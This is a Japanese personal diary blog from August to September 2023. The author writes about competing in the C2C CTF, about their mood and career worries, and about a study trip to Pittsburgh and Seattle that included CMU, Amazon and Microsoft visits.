C2C CTF の day2, main challenge の日でした。昨日まではみんないいオタクだったけど、guess をはじめとする問題への不満から次第に口が悪くなっていって面白かったです。GTA のムービーシーンかと思った。台パンも見れました。最終順位は隠されているので結果はわからないですが、開始から 6 時間くらいの時点のチームメイトが神 guess を連発して1位を走れていたときはワイワイしていて楽しかったです。僕は行き詰ってしまい英語も CTF もできないならせめてお茶汲み係としての役割を果たそうと、ジュースを渡そうとしたら「ダイジョウブ」って日本語で返されてしまいお茶汲みすら許されませんでした。何も貢献できていないけど賞金は欲しい。 日本人とのコミュニケーションがそもそも得意じゃないのに外国人とのコミュニケーションが得意なはずがなかった。リスニングの問題で何か単語が聞こえたらその単語が含まれている選択肢をまんまと選んでしまう僕のような人間は愛想笑いもできなかった。なんか Speaking が難しいということはネイティブもよく理解しているようで、拙い表現でも意図を汲んでくれる。何を言っているのかよくわからないというのは想像以上に寂しいことだとわかったので、さすがに勉強しないとなと思えました。ワイの中のオタク君よ、一人で行動するのが好きだから会話に入ってないんじゃなくてそもそも何の会話をしているのかわかってないんやで。 あとこまごまとした感想

  • 検索で日本語の記事を開いたときノータイムで英語に翻訳してた。そうだよな。
  • CTF で出題されて初めて勉強する技術がかなり多い。AWS 全然触ってないくせに ECS の private registry の credentials が云々みたいな話ばかり身についていく。
  • dinner 中のこの後飲みに行こうよの誘い方が完全に日本の酒カス大学生で笑った。
  • NHK が取材に来ていました。僕の猫背が全国に放送されていないといいけど。

コミュニケーションが取れないこと、特に何言っているのかわからなくて話についていけないということは寂しいのだなということに気が付いた。

2023年8月3日(木)

C2C day3、今日でCTFは終わりです。パフォーマンスはあんまり良くなかったけど、何やかんやで楽しんでたとは思います。最初ドキドキしてたけどみんな優しくて助かりました。 午後は観光の時間だったので10人くらいを引率してたわけですが、これがまぁ疲れました。東京駅にご飯食べに行くだけでも大冒険でした。引率してくれる大人の人がいなかったので、暑いから熱中症にならないといいけど…と内心ドキドキしてた。謎に水を1Lリュックに入れてる人になってた。 人生にはマジで何でもいい時がある。しかし何でもいいを返すのに戸惑ってしまうと本当は意向があるのかなと思わせてしまいそう(←日本人だなぁ)だけど、そんな時にanywayとかanywhereとかの単語がすぐに出てくると便利だと感じた。

  • 懇親会は人が多くて疲れちゃったのですみっこぐらしをしてました。同じくすみっこぐらししてたスポンサーの人とお話ししてました。セキュリティ業界は狭いもので、IPFactoryと伝えるとやはり話が早い。
  • 豚骨ラーメンが食べたくて食べたくて仕方なかったオーストラリアのオタク、豚骨ラーメンにありつけたようで幸せそうだった。替え玉もしたらしい。
  • シンガポールのオタクに「投資興味ない?」っていきなり言われてマルチかと思って構えた。何かと思ったけど経済の話になった。投資が楽しくてやっているわけではなく、インフレが大変で投資をしないといけないらしい。あと彼は黒川あかね推しらしい。

2023年8月4日(金)

C2C CTF day4、表彰式でした。残念ながらトップ3には入れませんでしたが、Hitachi Award をいただきました。この Hitachi Award、当初アナウンスされていなかったはずの賞でそもそも Hitachi Award なんてあったんだという感じです。Hitachi Award が意味するものはわからないですが、最終順位が(おそらく)4位だったからもらえたのかなと考えています。賞状と賞金をいただきました。ありがとう日立さん、一生付いて行きます。 この4日間、多様性というものを少し考えながら過ごしてたんだけど、つまるところ多様性というのは気にしない・気にならないことなのかなと思った。世界中から参加者が集まっているので、国籍,肌の色,宗教,年齢,嗜好…などなど本当に多様だった。なんかそこに偏見を持ってしまう自分っているのかなぁと考えていたけど別になんにも気にならなかった。認める・受け入れるという言葉を使おうとすると少し敷居が高くなる感じがしちゃうけど、(言い方が雑ですが)好きにしたらいいんじゃない?みたいな感覚だった。僕は別に宗教とか日本以外の国の文化とかを全然知らないし、あんまり知ろうともしてない。他人の価値観は別に理解できなくていいと思ってる。みんな自分が好きなように生きたらいいんじゃないのかなと思った。 とここまで書いて思ったけど、ちょっとよくわからなくなってきた。自分に興味の無い話題だからって当事者意識が無いだけかも。早い話僕が差別を受けたら僕はいったいどういう反応をしてしまうのだろう。 ともあれ、C2C CTF の参加者はみんなコンピュータサイエンスのオタクだったので、日本のオタクと一緒じゃんと思うことばかりだった。親近感が湧く中でCTFを楽しんでいたのは確かな感情です。

  • タイのオタクが「ドン・キホーテには日本のすべてが売られてるんだよ」って言ってた。まぁ間違ってはない。
  • 近くにいたインドネシアの人に声かけたら C2C CTF の参加者じゃ全然なかった。ごめんね。
  • オーストラリアのオタクが日本語ペラペラやったので「日本語めっちゃ上手ですね!」と言ったら「いやいや全然そんなことないですよ」と中身まで日本人な返答が返ってきた。どこで覚えたんだよ。

2023年8月4日

2023年8月5日(土)

お前今日何したんだよ。俺はよ、高校時代仲良くしてた同級生が昨日入籍して心がぽっかりと空いてしまってよ。一番仲良くしてたからというのはあるけど、彼はどうしようもない人間(言い方)だと思ってたからおめでとう以上に謎の衝撃が来ているんだ。そんな俺はよ、今日の淀川花火大会と AtCoder Beginners Contest を天秤にかけて、AtCoder を取ったんだ。こうして俺は今日もパソコンの前に鎮座している。お前の人生の進捗はどうだ?

ネタに走っているが、割と動揺しながらこの日報を書いていたことが記憶に残っている。 あなたの人生の進捗はどうですか?

2023年8月7日(月)

最近はよく大学の喫煙所で休憩しています。風当りがよくて、いい感じに腰を掛けられるところがあって、ぽかぽかした日陰で、一人でぼーっとエナドリ片手にツイッターとインスタを眺めてみんな楽しそうだなと空しくインターネット越しに傍観するのは悪くない。副流煙はあまり吸いたくないので誰かが来たら休憩を終えて研究室に戻るようにしているけど、タバコを吸いに来るおじさんたちは大抵この世界に絶望したような疲れ切った表情をしていてとてもいい。タバコは周りへの影響がデカすぎるから(人に迷惑かけることだけはしたくないので)吸わないようにしているけど自分みたいな人間は一度覚えてしまうともう抜け出せない気がするので手を出さないように耐えてる。心の拠り所としてこれをしたら確実に落ち着くというものがあるのは正直羨ましく思っています。

2023年8月7日

2023年8月9日(水)

僕はいろいろなものを拗らせてしまった過去があるので,楽しいなんて怠慢だという考えが残っていてしまっている.そのせいで本来楽しむべきところを楽しもうとしなかったり,常により苦しい選択をすることこそが幸せなんだみたいな考えが植わってしまっていた.ストイックにがむしゃらに何かをするのを数年間続けていると,人よりコストをかけている分当然成果は出やすくなる.運もあったお陰でいくつか手に入れることができたものもあったけど,その一方で失ってしまったようなものもたくさんあって,それはむしろ後者のほうが圧倒的に多い気もする. しかしどうだろう.何事にも挑戦し続けるためには精神的な健康が必要であることは昨年よくわかった.他愛のない話が自分を救ってくれたり周りの明るさに照らされたり,助けてもらってばかりだ.未来の理想化された自分を追いかけて,今の自分を蔑ろにして今のこの一瞬を楽しめずにいた.凝り固まった自分の思考に気づきを与えてくれるのは何気ない他者との会話だったりする.安易にすべてを打ち明けられるほど僕は強くはないけれど,近視眼に囚われている自分を紐解いてくれるのは自分以外の他者なのかもしれない.

2023年8月10日(木)

腐りきった世の中に見える日もあれば,言うほど悪くはない世の中に見える日もある.今日は後者. 無理をする生活を続けているといつしか疲れているのが当たり前になって,でも休む方法がわからなくて,この世界に希望を見出せずにいたので,朝目が覚めても今日も報われない努力をするみたいなスタンスで過ごしていた.自分が惨めで可哀そうに思えてくると他人とか他の物事の価値を下げてなんとか自分の価値を肯定しようとしてしまう.そんな自分に嫌気が差すループである.

自分の好きな趣味があるとこの世界を肯定できる気がする.同じ世界を見ているはずなのに,今まで見えていなかったような喜びを拾い上げることができるととても嬉しい.この世界を好きになれる気がする.他人や他人の好きなことも尊重できるようになれる気がする.

すべては捉え方次第,いやまぁそうなんだけど心に余裕がないときにも同じ考え方ができるようになりたいな.

この頃日報を投稿していたのは3:00~5:30の時間帯なのもあって、病んでる。 日報は寝る前に投稿するようにしているんだけど、無の感情から無理やり捻り出そうとするとダークな表現が多くなってしまう。

2023年8月12日(土)

お墓参りのために大阪の田舎の方に行きました.これぞ日本の夏って感じの風景が広がっていてとても美しかったです.ほぼ毎年同じ景色を見ているはずなんだけど,なんか今年はやけに綺麗だった.視力上がったのかな.

2023年8月12日

2023年8月13日(日)

視力向上バフがかかっていたので森林浴をしようと箕面の滝に行ってきました。都市部にいる蝉はあまり好きではないですが、自然を構成している蝉はとても良い。緑や流れる水の音に囲まれて僕に落ち着かせてくれました。 滝への道中、”望海展望台”とやらの看板板があったので滝への道のりを逸れて展望台に向かったのですがこれが急な山道を登り続ける必要があって地獄のようにしんどかったです。地獄展望台に改名したほうがいい。

山を登っていくほど心臓への負担が強くなって体が鉛のように重くなってしまった。お水を持っていなければ死にかけてたかもしれない。ダラダラと滝のように汗をかくので箕面の滝はここにあったんかと思った。展望台に着いた頃にはAPTX4869の解毒薬の効果が切れる工藤新一みたいになってた。頭が真っ白で景色より酸素って感じで息を整えるのに必死だった。気合で撮った写真を今見返してまあまあええ景色やんとなっています。生まれたての子鹿みたいなプルプルした脚で展望台の道のりを降りました。再び滝への順路に戻って歩いていると”地獄谷”の案内板があったけど絶対行かねぇと無視しました。

考えながら歩いてたら何か閃いたり悩みが晴れたりするかなと期待して滝への向かったのだけれど、森林浴をしているときは自然と考えることをやめていました。そのお陰かとても気分が軽くなった気がします。ふと気づいたけど日記に小ボケを入れたくなってる時は調子がいい時なのかもしれない。明日は筋肉痛デバフです。

ふたばと節って感じの文章だ。8月13日にメンタルがいいと小ボケを入れたくなる自分がいることに気づいた。 2023年1月に比べて文章量がかなり多くなっている。

2023年8月13日

2023年8月22日(火)

今日は思いがけないタイミングで進路の相談をさせてもらえる機会があった.僕が研究がまだまだ下手で,ちょっと変に苦しんでしまうタイプだというのはよくわかった.なんとなく自分ではそう感じているんだけど,言葉で言われて頭で理解していても,本当の意味で理解できていないというか,自分がそうじゃないんだよなぁと思いつつも”そうじゃない”選択や行動を取ってしまう.これを修正できるのはやはり経験.わからないからこそ,やったことのないことにチャレンジして経験してみることが重要なんだよな.おそらく,わかってみれば大したことはないはず.あとはもっと肩の力を抜いて,楽しんでいかないとなと思った.

2023年8月27日(日)

今日は高校の部活のOB会に顔を出してきました。僕は高校の頃全く勉強せずに部活一色の生活をしていました。今連絡が取れるのは部活の同期くらいなので、年二回あるOB会には顔をだしてコミュニティを維持している。ここ2年くらいはOB会に来るたびに部活という名の組織について考えさせられる。 全員が未熟の高校生のチームなんて地獄も地獄で、部長を中心とした部員の自己犠牲の上になんとか成り立っていただけなんだよな。いじめやパワハラと言われてもおかしくない。特に女子、OGになった同期・先輩・後輩と当時彼女らが感じていた話を聞いていると言葉を失ってしまう。部活という組織のマネジメントを正しく指導できる人もいなければ、圧力と批判しかないような世界でよく最後までやってたなと思う。「部活を最後まで続けることで将来社会人になっても『部活に比べたらしんどくない』と思えるから頑張れるよ」と簡単に外野は言うけれど、当事者がどう思うかが重要であって、辞めた人が勿体ないことをしたとは思わないし、あの地獄の中で引退まで続けた人が偉いとかいう考えも気に食わない。この世には知らなくていい地獄ってものがある。

僕は楽しんでいたほうだけど、現役の時に自分が感じたチームをまとめていくことの難しさとか人を助けられない不甲斐なさとかは部活でよく体験したから今に繋がっている気がしている。でもすべてがよかったんだっけなぁと美化したくないお気持ちがある。最近自分が組織とか仕組みとかアーキテクチャに興味を持ち始めたのってこの辺りが源なのかも。自己犠牲によってようやく成り立つ組織なんて悪でしかないので、アーキテクチャが自己犠牲をせずに済む仕組みを提供できないかな。

ちょっと棘のある発言をしているけど、確かに自分が思ったことを素直に書いている。 この体験を含めて、あらゆるものに揉まれていく中で自分の中の社会性というものが磨かれていくのだなぁという感じ。

2023年8月27日

2023年8月31日(木)

今日は19時にはToDoを消化できたので、お腹ペコペコだったのもあり夜まで居座らずにルンルン帰宅しました。ご飯食べて実装頑張ろうかと思ったけど、映画「君たちはどう生きるか」を公開日からずっと行けずにいたので見に行ってきました。映画を見た後不思議な気持ちになりながらいろいろ考えていたところにピロンと来たCODE BLUEの学スタ不採用通知を見てしまい気分が一転した。ツイッター見なきゃいいのになんか開いてしまったら案の定ツイッターのオタクたちが学スタ採用されてて辛くなっちゃった。悔しいもんは悔しい。う~んおれは雑魚。甘ったれてちゃいけないですね。精進します。

2023年9月1日(金)

悶々とした一日だった。何か落ち込むようなことが起こったとき、自分の中の悪魔(いい名前が浮かばなかった)がここぞとばかりに自分を貶してくる。自分がどれだけダメなのか理論武装するのは得意なんだよな。

また落ち込んでる。

2023年9月3日(日)

今日は台湾の研究機関 NARlabs 主催の Cyber Blue Range Competition 2023 にお誘いいただいて参加しておりました。始まる前は ActiveDirectory とか PowerShell わかんないよ〜と言ってたけど Cyber Range 的な考え方ができれば解くことができる形式で、結果的には全完できたのでとても満足しています。 大量のログの中から必要な情報を抽出して仮説を立てて仮説通りのログがあるか探すのを繰り返すわけですが、今日は目 grep が輝いていました。今日の目 grep は Rust で実装されていたのかもしれない。これから目 ripgrep と呼ぶことにします。

昨日一昨日はあんまりうまくいかない日だったけど、今日は CTF 以外にも朝活と研究もできて気分が良かったので夜は海辺で黄昏ながらほくほくできました。明日からまた頑張れそうです。

あっ、復活した。

2023年9月5日(火)

頭の悪いハンバーガーを喰らいつくのが好きなんですが、ちょっと最近高頻度でバーガーキングに行き過ぎてワッパー食べ過ぎ問題が出てきた。横浜に住んでいた時はバーガーキングが行きやすい場所になかったから毎度行くときはわくわくしてたけど、今は近すぎて平気で選択肢に入ってくる。今日はまだバーガーキングに行くわくわくが残っていたけどギリギリだったかもしれない。頭の悪いハンバーガーに飽きてしまうっていうのは結構悲しいことなので、しばらく自重するようにします。

この頃腹いせにバーガーキングに通っていたんだけど行き過ぎて飽きてきたやつだ。

2023年9月7日(木)

PFU キーボード HHKB Professional HYBRID Type-S 無刻印/雪(英語配列)が研究室にあると、ちょっと嫌なことがあっても「研究室に行くと PFU キーボード HHKB Professional HYBRID Type-S 無刻印/雪(英語配列) で好きなだけタイピングできるしな」ってなるし、仕事でむかつく人に会っても「そんな口きいていいのか?私は研究室で HHKB Professional HYBRID Type-S 無刻印/雪(英語配列)とよろしくやってる身だぞ」って考え方になる。戦闘力が求められる現代社会において、PFU キーボード HHKB Professional HYBRID Type-S 無刻印/雪(英語配列)と同棲することは有効 。

PFU キーボード HHKB Professional HYBRID Type-S 無刻印/雪(英語配列)を購入しました。今も毎日愛用しています。

2023年9月7日

2023年9月10日(日)

吾輩は営業の押しに弱いふたばとである。吾輩は iPhone SE (第3世代) が気になったので、どんな感じなのかを確かめに梅田のヨドバシカメラに行ってきたのである。

ヨドバシカメラApple コーナーで iPhone SE のサイズ感を見ようとしていると、お兄さんに声を掛けられポイントがついてお得なんですよと営業を受け、あれよあれよと逃げられない感じになっていた。吾輩は、新しいスマホが登場するたびに携帯のキャリアを変えてキャッシュバックで最新スマホをお得に購入するというようなことはあまり好きではないのである。これは吾輩がパソカタを生業にしているためにスマホに求めるスペックが低いからということもあるが、この資本主義の在り方は健全なのだろうかと思ってしまうからである。吾輩は現在の通信キャリアに満足しているので、目の前のポイントと解約・新規契約手続きの面倒さを秤にかけたら圧倒的に後者が勝つのである。 吾輩はキャリアを乗り換えてまでのポイントは不要なのでもうそのまま定価で iPhone SE を売ってくれとまで思っていたのだが、営業のお兄さんは別のプランを提示してきたのである。それは今の契約を維持しながら、別の会社の2つの SIM を新たに契約するものだという。初期費用はいくらかかかるが、その場で付く初期費用よりも多いポイントを差し引くことで結果的にお得に iPhone を購入することができるという。しかも違約金はかからないので、10月1日に解約をして2つの SIM を捨てればよいとのことである。まったく謎である。吾輩は SDGs を推すことは極力しないが、SDGs18個目のゴールに「大量契約・大量解約はやめよう」を掲げそうになった。

吾輩は何が正解なのかよくわからなくなってしまった。目の前の営業のお兄さんにとって、おそらくの最善は、目の前の客である吾輩に契約を結ばせて営業実績を重ねることなのであろう。彼にも生活や、もしかすると守るべき家族がいるために、懸命に働いているのである。店内を見渡せば、契約を取るためにみんな必死に働いているのである。彼を含む従業員に対しての批判はまったくの見当違いである。睨むべきは、社会や組織なのである。吾輩はそのビジネスロジックの裏にあるものが何であるかに気づけなかったうえ、よくわからないビジネスに加担してしまう罪悪感と目の前のお兄さんの営業実績を上げることを秤にかけたら後者のほうがましのような気がしてきて、2つの SIM を契約したのである。いろいろなことを考えながら契約を進めていたら、30日以内で解約したらお金のかからない追加オプションの加入に頭を下げながらお願いされた。必死である。

吾輩は営業の押しに弱い、3週間だけ電話番号を3つ所持するふたばとである。それはそうと、9月の出費がヤバいのである。誰か助けてほしいのだ。

僕は特に日本語力があるわけじゃないけどこう書いたら面白いかなと思って投稿したのがちゃんと反応があって嬉しかった。「文才に嫉妬」と言ってもらえるようになる。

2023年9月14日(木)

昨年、学内講義を通じてハッカー的精神を伝えることを1年間通じてやっていました。これは当時の自分が正しいと思ったことを、誰かに求められることなく勝手に始めたものなんだけど、それなりにやってよかったとは思っている一方で、ピュアな後輩たちに呪いをかけてしまったかなぁと思ってしまい、最近少し悶々としています。

大海だけを見ようとしてきたせいで自分の立ち位置を正確に把握できないバグに遭っている気がする。周りの人がみんな強いと自分に盲目になって、正攻法のアプローチで淡々と努力し続けてもそれが信じられなくなってしまったり、憧れだけが先走って何者にもなれないと絶望する自分にもがき苦しんでしまったりしている。

自分で背中を押して地獄に進んでいくならまだしも、その呪いのような価値観を他人に半分押し付けるような形になってしまっていたかなぁと反省しています。今の自分が1年前の5月に戻ったらどうするんだろう。イベントの開催はやってないかもしれない。

もう少し言いたいことあると思うけど昨晩このあたりで寝落ちしちゃっていました。またこの話題で何か書く日が来ると思います。

イベントの開催はやってないかもしれないと言いつつ、2023年12月の自分はもう少しやり方を工夫して結局やっていそうだなとは思っている。

2023年9月17日(日)

9月17日の夜から逃げ続ける高度36,000フィートの中でこの日記を書いています。ご飯を食べて一眠りついて、さてさてどのくらい進んだかなとフライト情報を確認するとシカゴまで残り6時間21分と書かれていて絶望しているところです。太ももの血流が止まって壊死しそう。機内食は日本人向けにファインチューニングされていたというか、なんなら完全に日本で食べるご飯でした。無機質な食事を想定していたので、期待値を遥かに超える美味しいご飯に満足しています。朝ごはん(シカゴの時間的にはお昼ご飯)は焼きそばらしい。機内では映画を見ながら論文読み読みしてスライドの雛形を作っていこうと思います。

9月17日~28日の間はアメリカへ短期留学に行った。

2023年9月18日(月)

こちらシカゴのふたばとです。現在20:00、日本は10:00らしい。

オヘア空港に着いた感想としてはとにかくデカ過ぎんだろ…だった。まさしくアメリカン。ワールドクラスの笑い声も聞こえてきます。飛行機の値段は何十万とするので高いなぁとは思うけど、単に飛行機の燃料費・維持費や乗務員の給料だけじゃなくて、このバカでかい空港で働く多様な人々の雇用が守らていることを考えると、妥当というか、別に悪魔的な値段ではないよなと感じた。

入国審査でコケて心が折れています。あんまり想定していなかった質問に戸惑いながら回答したら不信感を与えてしまったらしく、自分のミスもあって結果的に怪しいけど通してやるよって感じになりました。自分に落ち度があるんだけどガン詰めの圧が凄くて泣いちゃうところでした。入国審査ドキドキしたぁと言いながら次の飛行機のための保安検査に並んでいたら「はやくいけ!」みたいなことで怒鳴られちゃったりして、無から怒られを発生させるキャラになりつつあります。よくない。泣くぞ。8月のC2C CTFの経験を生かして「やってやるよ!やってやるよ!やってやるよ!!!!!」と意気込んでいたくせに、入国審査がトラウマになってもうMPが無いんだよ。店員さんと極力接触せずに食糧が手に入るマクドナルドで夜ごはんを済ませてやろうかと思った。でも忙しそうな店員さんの機嫌が悪そうに見えて、商品を受け取るだけとはいえ日酔ってしまった。助けてくれ。日本に強制送還してほしい。まぁなんというか、そういう文化なんだろうなと受け入れることをしないといけない。彼かは普通に仕事をしていて、こっちがサービスを求めすぎている節がある。それでも英語をうまく聞き取れないと怒っているようにしか見えないから怖いんだよなぁ。結局、めちゃくちゃ優しそうなおっちゃんがレジをしているコンビニみたいなところでバナナとお水を買いました。はじめてのおつかい大成功です。しかしお水が5ドルもしました。フッおもしれー水と思いながら手に取りました。 どこまでを一日の出来事とするべきかよくわかっていないけど、こちらはもう夜なのでここで区切ることにします。

2023年9月19日(火)

シカゴからピッツバーグに来ました。いろいろトラブルが重なって深夜2:30ごろにホテルにチェックインできました。空港からホテルに行くタクシーを捕まえるのに苦戦して、深夜の寒い中待機していたので凍えました。湯舟浸かりたいな~とおもっていたけど栓が無くてお湯を溜めることができませんでした。アメリカではそういうもんらしい。

今日はCMUを探検して、CMUの日本人学生と交流しました。学生と言ってもNTTや金融庁所属の社会人学生さんなので歳は少し上なのですが、面白い研究をされていました。1月には自分と同じ研究室に戻ってこられるのでいろいろ会話したり、研究に混じらせて欲しいなと思います。CMUをいろいろ探検していたわけですが、1つ何千万もするんだろうなという機会が何個も何個もあったりそれぞれのLabも凄い素敵で、規模感の違いを思い知らされつつも研究欲が増しました。とっても素敵な環境でした。CMUのスウェットも買っちゃって、染まっています。入国審査で嫌な思いをしたのも吹き飛びました。

お昼はJapanese Noodleと書かれたラーメン屋さんに行きました。3,000円近くしました。ラーメン激戦区に出展したら確実に1カ月で撤退することになるぞと思いながらラーメンを啜っていました。 夜は頭の悪いサンドイッチを食べました。バーガーキングより全然多かったです。フライドポテトを中に挟むな。このサンドイッチ屋さんは全然安かったです。全体的に、ピザとかハンバーガーとかジャンクなものは安い。炭酸飲料はお水より安かったりする。ヘルシー志向にするとお金かかるんだろうなぁと思った。ご飯を食べながら進路のことをいろいろ相談させてもらいました。CMUで博士取りなよと言われた。もう入国審査は2度としたくないんだよ。

あと砂塵が舞っているんじゃないかというくらい目が乾きます。目薬忘れてしまっていたら結構きつかったです。心なしか化粧水がめちゃくちゃ肌に吸収されます。

2023年9月19日

2023年9月20日(水)

どうも、ピッツバーグの民のふたばとです。スーパーへ買い物に行くくらいなら一人でできるようになりました。ヘルシー志向のオタクなので、朝ごはんにヨーグルト, ラズベリー, イチゴとバナナのスムージーを買いました。1,900円です。ラズベリーは少しカビてしまっていました。つらい。ピッツバーグは天気が変わりやすいと言われていて、確かに日差しが出てきてちょっと暑いと思った1分後には小雨が降ってきたり、太陽が雲に隠れると気温が一気に下がったように感じます。日傘が最強です。

今日は CMU にてpicoCTF のワークショップを受けていました。個人的には難易度はかなり易しく、もくもくと問題をなぎ倒すオタクになってしまっていました。他のメンバーはCTFがはじめて、なんなら非情報系の人ばかりなので、講師やTAに助けをもらいつつ頑張って進めていっている感じでした。正直別にCTFができること、多少の技術がわかっていることなんてどうでもよくて、英語で会話することが大事よなぁと思った。だから1番の機会損失をしているのは実は自分であると気づいたので、与えられた演習を片付けた後はTAのTAのような形でサポートに回ることでなんとか会話に混ざろうとしていました。僕自身が有意義な時間になっていたのかは正直よくわからないけど世の中のサービスがどのようにして動いているのかを知ってウオウオ言っている彼ら彼女らを見ていいなぁと感じていました。最近、初心を忘れているかもなぁと感じました。純粋な眼差しで楽しむことが大事よな。

お昼は学食のヌードル屋さんに連れて行ってもらいました。お昼休みの大量の学生さんを裁く必要があるので、現場はピリピリしています。めちゃくちゃ怖いです。人生には余暇が必要であることを思い知らされます。丸亀みたいにすきな麺とスープとトッピングを選ぶのですが、列が前で詰まっているので、僕はメニューの見えないところで注文を聞かれます。選択肢がそもそもわからないし店員さんはムスッとしているので優柔不断になる暇もなく「Same!」としか言えませんでした。注文の恐怖と2,800円を引き換えに手に入れたヌードルは火鍋みたいな味でした。久しぶりのジャンキーでない食べ物だったのもあり味は美味しかったです。

そういえばゴミの感覚が日本と違う。RecycleとWasteで基本は分かれていて、この今食べたヌードルのスープはどこに捨てたらいいかなと探していたけどどうやら汁気ごとゴミ箱に捨てるらしい。マジか。ドン引きしながらもそれ以外の選択肢が無いので多少の罪悪感をともにゴミ箱に捨てました。飲食店でアルバイトやったことある人ならわかると思うけど、ゴミに汁気が入った瞬間めちゃくちゃ重くなるんですよね。ゴミ袋破裂したら大惨事になるけど大丈夫なのかな、そもそも袋を入れ替えるのではなくてコンテナのようなものごと入れ替えるのかな。

2023年9月20日

2023年9月21日(木)

今日は朝4:30にホテルをチェックアウトをして、シカゴ経由でシアトルに向かいました。東から西へ大陸横断です。シアトル空港からダウンタウンまで30分ほど車に揺られて移動するのですが、その景色の半分くらいはボーイング社の飛行機工場でした。アメリカでは時折土地の暴力を感じます。

シアトルはピッツバーグに比べたらかなりの都会です。エリオット湾が太陽の光で水面がキラキラしているのが、いつもポートライナー神戸港の海を眺めている景色とそっくりだなぁと思っていたら、どうやらシアトルと神戸は姉妹都市・姉妹港の締結をしていることを知りました。イチローの実家(訳: シアトルマリナーズのスタジアム)はめちゃくちゃ大きかったです。

The Gum Wall という、人々が噛んだガムを壁に擦り付けるスポットがあります。カラフルな(噛んだ後の)ガムが壁一面にびっしりと貼られていて一見映えそうなんですが、あの~シンプルに汚い笑。ハエが沢山いました。そりゃそうだ。

Pike Place Marketに魚を投げるパフォーマンスがあると話を聞いていました。ちょうどお店に訪れたタイミングでそのパフォーマンスが始まって運よく見ることができたのですが、結構ガチでサーモンを投げていました。新人さんとかは裏で練習したのかな、初めは緊張してたのかなと思うと面白いです。 Amazon Goにも行きました。昨年高輪ゲートウェイ無人コンビニに行ったときには、そこは結構カメラやセンサーがむき出しでここでこういう処理しているのかなぁといろいろ想像を膨らますことができましたが、Amazon Goは結構隠蔽されている印象で、LANケーブルと天井のカメラくらいしか確認できませんでした。商品の種類も豊富で体験しに来る人よりも普段使いする人の方が多そうな雰囲気でした。ムスッとしている店員さんがいないのはデカすぎる。

他にもスタバの一号店を訪れたり、Starbucks Reserve SoDo でウイスキーの樽で熟成させたコーヒーを飲んだり、Amazonの本社The Spheresを見たり、シアトルのダウンタウンを満喫しました。シアトルは都会なので、観光客が多いとはいえ、おそらくかなり住みやすい街だと思います。ユニクロがあったのでオタクも服に困らないと思う。オフィスが多いので夜は社畜たちの残業が光っていてとても綺麗です。しかし都会なために人や資本が集まることで生まれる治安の悪さが存在している。治安が悪いというか、もう少しストレートに表現をすると、格差がはっきりしている。街行く人の容姿や行動に如実に表れている。これはピッツバーグには見られなかった。僕がどうこうできる問題じゃないけど、少し寂しい気持ちにはなった。

2023年9月21日

2023年9月22日(金)

ごきげんよう、シアトルのふたばとです。

今朝はあさひに照らされるシアトルの街を散歩していました。シアトルには現代的なオフィスが立ち並んでいます。これらのモダンなビルにはアメリカらしさは特に無く、梅田やみなとみらいや渋谷にあるような最近の高層ビルにデザインがそっくりです。だからちょっと日本の都会に近いというか、日本にあっても浮かないビルが多い。シアトルの街にGMOの看板があっても違和感はないはずです。

朝ごはんはスタバに行きました。アメリカのスタバにはBreakfastメニューが存在し、マフィンなどが提供されています。ソーセージマフィンスターバックスラテを注文しました。飲み物のサイズを聞かれなかったなぁと思いつつ(もしかしたら聞き逃して自分が回答しなかった)、支払いを済ませて待っていると Venti サイズのスターバックスラテが出てきてビビった。少なくともデフォルトのサイズがVentiなんて罠だろ…。 アメリカのとりあえず「Thank you」と言う文化は結構好きです。お店で商品を受け取ったとき、ドアを開けてもらったときなど、まぁ言ったら日本でも「ありがとうございます」と言われるタイミングでかならず「Thank you」を言います。無言で商品を受け取る人は今のところ見ていません。僕は語彙が幼稚園児なので頭空っぽで「Thank you」を使っているので、ちょっとスマンという感じで「Excuse me」と言われたときも「Thank you」を返してしまいました。日本に帰国してから、「ありがとうございます」ではなくて「センキュー」と言うおじさんにはなりたくないので気を付けなければなりません。

何気ない質問でも、英語だと頭が真っ白になってしまうのはどうしてだろう。日本語で聞かれたら適当に答えられる気はするけど、そこで浮かぶものが英語で聞かれると全く浮かばない。文法を気にして喋れないやつとはなんか違う、それより前の段階で躓いている気がする。これは何なんだろう。

夕方からはWashington State Ferriesに乗ってBainbridge Islandに行きました。島に何があったというわけではないけど、閑静な街で、のんびり暮らすにはとてもよさそうな場所でした。フェリーから見えるシアトルの夜景は島とは対照的に超絶綺麗でした。いやそんなことより(?)、フェリーのチケットを購入する機械が激ヤバだった話を。クレジットカードを通したのちに(クレジット以外の支払い不可)4桁のPINコードを入力するのですが、もうショルダーハックし放題。なんなら入力された数字は「*」などにはせず平文ではっきりと数字が見えてしまうので、どこを触れて入力したのか見えてなくてもご丁寧に数字が横から見えます。先月のぞき見対策の研究に混じらせてもらっていた身としては、理想的なダメな例じゃんとテンションが上がっていました。セキュリティの基本は誰も信用しないことだよと言い続けいたら、一昨日、非情報系の人に神経質になって生活しにくそうと言われた。確かにセキュリティを学び始める前と後で物事の見方や性格はいろいろ変わった気がするけど、それが生きづらさに繋がっているかというとそうでも無い気がしている。むしろリアルワールドのオモシロ脆弱性を餌に生きているまであるんじゃないか。

夜はオイスターバーに行きました。カキフライを注文したらカキからあげが出てきました。

2023年9月22日

2023年9月23日(土)

シアトルの土地勘を理解したので、マップを見なくても初見の場所でも徒歩圏内なら自由に行って戻ってこられるようになりました。今朝は片道25分くらい歩いたところにあるオシャレなパン屋さんに行ってパンを買いました。やはり朝はホットコーヒーとパンが一番です。世界のベーカリー25選にも入ったことがあるらしい。日本でも絶対売れるおいしさでした!

昨日今日は AWS Skills Centers にお邪魔しています。Security, Database, Network の講座を受講したのですが、内容はかなり入門的で、そもそも AWS のサービスの話は一切出てこなかったので正直物足りなかったです。基本情報技術者試験に出てくるような話を英語で受けたという感じです。技術的なところで躓くことはなかった分英語に集中することができた、ということにします。講師の声はめちゃくちゃ良かった。波長が合うという表現なのかよくわからないけどすごく心地よくて一生聞いてられる声でした。

Amazonの本社を見学してきました。The Sphere の内部にも行かせてもらいましたが、ひたすらお金かかってんなぁに尽きます。札束でぺちぺちされている気分になります。Amazonのオフィスは日本人の二人が案内をしてくれました。お二人はそれぞれPMとエンジニアで、技術とかキャリアの話をさせてもらいました。Amazon Japan には新卒で入るより中途で入った方がいいらしい。

Microsoftの本社も見学してきました。Microsoftの本社はMicrosoft campusと呼ばれていて、大学のキャンパスのような建物が無限にあります。案内してくれた人が言うには普段120番くらいの建物にいるから少なくともそれ以上の数の建物があるねと言っていました。万のオーダーの人がMicrosoft campusで働いているらしい。資本主義を感じます。いつもWindowsで疲弊しているとか言ってごめんね。

